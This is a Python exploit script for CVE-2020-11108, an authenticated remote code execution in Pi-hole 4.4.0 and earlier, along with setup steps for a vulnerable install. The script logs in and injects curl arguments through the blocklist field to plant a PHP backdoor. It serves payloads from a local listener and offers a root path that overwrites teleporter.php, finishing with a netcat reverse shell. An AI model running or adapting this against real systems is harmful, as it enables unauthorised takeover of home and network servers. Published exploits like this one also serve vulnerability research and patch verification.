# Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated) # Date: 2020-05-22 # Exploit Author: Photubias # Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE # Version: Pi-hole <=4.4.0 + Web <=4.3.3 # Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10) # CVE: CVE-2020-11108 #!/usr/bin/env python3 ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py File name CVE-2020-11108.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be ## Vulnerable setup instructions (from clean Debian 10-Buster): > apt update && apt install -y curl > curl -sSL https://install.pi-hole.net | bash > pihole checkout web release/v4.3.3 > cd /etc/.pihole/ && git checkout v4.4 > pihole -r ## Select reconfigure This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-) Features: * Does a reliable check before exploitation (not based on version numbers) * Performs normal RCE without Privilege Escalation (wich is more trust worthy) * Asks before running Root RCE (as this overwrites certain files) * Performs a cleanup in all cases (success / failure) ''' import urllib.request, ssl, http.cookiejar, sys, string, random import socket, _thread, time ## Default vars; change at will _sURL = '192.168.50.130' _sPASSWORD = '6DS4QtW5' _iTIMEOUT = 5 _sLOCALIP = '192.168.50.1' _sFILENAME = 'fun2.php' _sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first ## Ignore unsigned certs ssl._create_default_https_context = ssl._create_unverified_context ## Keep track of cookies between requests cj = http.cookiejar.CookieJar() oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def randomString(iStringLength=8): sLetters = string.ascii_lowercase return ''.join(random.choice(sLetters) for i in range(iStringLength)) def postData(sURL, lData, bEncode = True): try: if bEncode: oData = urllib.parse.urlencode(lData).encode() else: oData = str(lData).encode() oRequest = urllib.request.Request(url = sURL, data = oData) return oOpener.open(oRequest, timeout = _iTIMEOUT) except: print('----- ERROR, site down?') sys.exit(1) def getEndpoint(): if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL else: sURL = _sURL if not sURL[:-1] == '/': sURL += '/' if not '/admin' in sURL: sURL += 'admin' try: oRequest = urllib.request.Request(sURL) oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT) except: print('[-] Error: ' + sURL + ' not responding') exit(1) if oResponse.code == 200: print('[+] Vulnerable URL is ' + sURL) return sURL else: print('[-] Error: ' + sURL + ' does not exist?') exit(1) def startListener(sPayload, iSockTimeout): ## Listener must always be on port 80, does not work otherwise oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('[!] Binding to '+_sLOCALIP+':80') oSock.bind((_sLOCALIP,80)) oSock.settimeout(iSockTimeout) oSock.listen() while True: try: oConn,sAddr= oSock.accept() except: break print('[+] Yes, we have an incoming connection from '+str(sAddr[0])) oConn.sendall(sPayload.encode()) oConn.close() break oSock.close() print('[!] Closing Listener') def doLogin(sURL, sPassword): sPath = '/index.php?login' lData = {'pw':sPassword} oResponse = postData(sURL + sPath, lData) sResult = oResponse.read().decode(errors='ignore') if 'Wrong password' in sResult: print('Wrong password') sys.exit(1) return True def getToken(sURL): sPath = '/settings.php?tab=blocklists' oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT) sResult = oResponse.read().decode(errors='ignore') if 'id=\'token\'' in sResult: return sResult.split('id=\'token\' hidden>')[1].split('<')[0] else: print('[-] Error in getting a token') sys.exit(1) def createBackdoor(sURL, sFilename): sToken = getToken(sURL) sPath = '/settings.php?tab=blocklists' lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'} #lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'} oResponse = postData(sURL + sPath, lData) if oResponse.code == 200: sResult = oResponse.read().decode(errors='ignore') arrBlocklists = sResult.split('target="_new"') sID = str(len(arrBlocklists)-2) print('[+] Creation success, ID is '+sID+'!') return sID else: return '' def doUpdate(sURL): sPath = '/scripts/pi-hole/php/gravity.sh.php' try: oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT) if oResponse.code == 200: print('[+] Update succeeded.') return True except: print('[-] Error; callback failed, maybe a firewall issue?') return False def callExploit(sURL, sFilename = _sFILENAME): sPath = '/scripts/pi-hole/php/' + sFilename print('[+] Calling ' + sURL + sPath) try: oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT) if oResponse.code == 200: print('[+] Calling exploit succeeded.') print(oResponse.read().decode(errors='ignore')) except: pass def removeEntry(sURL, sID): print('[+] Cleaning up now.') sToken = getToken(sURL) sPath = '/settings.php?tab=blocklists' lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'} oResponse = postData(sURL + sPath, lData) if oResponse.code == 200: print('[+] Remove success') def main(): global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT if len(sys.argv) == 1: print('[!] No arguments found: python3 CVE-2020-11108.py ') print(' Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5') print(' But for now, I will ask questions') sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ') if not sAnswer == '': _sURL = sAnswer sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ') if not sAnswer == '': _sLOCALIP = sAnswer sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ') if not sAnswer == '': _sPASSWORD = sAnswer else: _sURL = sys.argv[1] _sLOCALIP = sys.argv[2] _sPASSWORD = sys.argv[3] ## MAIN sURL = getEndpoint() ## Will also set the initial SessionID doLogin(sURL, _sPASSWORD) ## Creating backdoor (1) ## the old 'fun.php' sFilename = randomString() + '.php' sID = createBackdoor(sURL, sFilename) ## Launch first payload listener and send 200 OK _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,)) if doUpdate(sURL): print('[+] This system is vulnerable!') ## Question Time sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ') if not sAnswer.lower() == 'y': removeEntry(sURL, sID) sys.exit(0) sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ') if sAnswer.lower() == 'y': bRoot = True else: bRoot = False if bRoot: print('[!] Allright, going for the root shell') ## Launch payload listener and send root shell _sPayload = '''''' _thread.start_new_thread(startListener,(_sPayload,5,)) doUpdate(sURL) ## Creating backdoor (2), overwriting teleporter.php sID2 = createBackdoor(sURL, 'teleporter.php') ## Launch payload listener for a new 200 OK _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,)) doUpdate(sURL) input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...') ## Launch shell payload listener: _sPayload = ''' ''' %(_sLOCALIP, _sLOCALNCPORT) #_sPayload = '''''' ## this works perfectly, but the URL is authenticated _thread.start_new_thread(startListener,(_sPayload,5,)) doUpdate(sURL) ## Launching the payload, will create new PHP file callExploit(sURL, sFilename) ## Remove entry again if bRoot: removeEntry(sURL, sID2) removeEntry(sURL, sID) if len(sys.argv) == 1: input('[+] All done, press enter to exit') if __name__ == "__main__": main()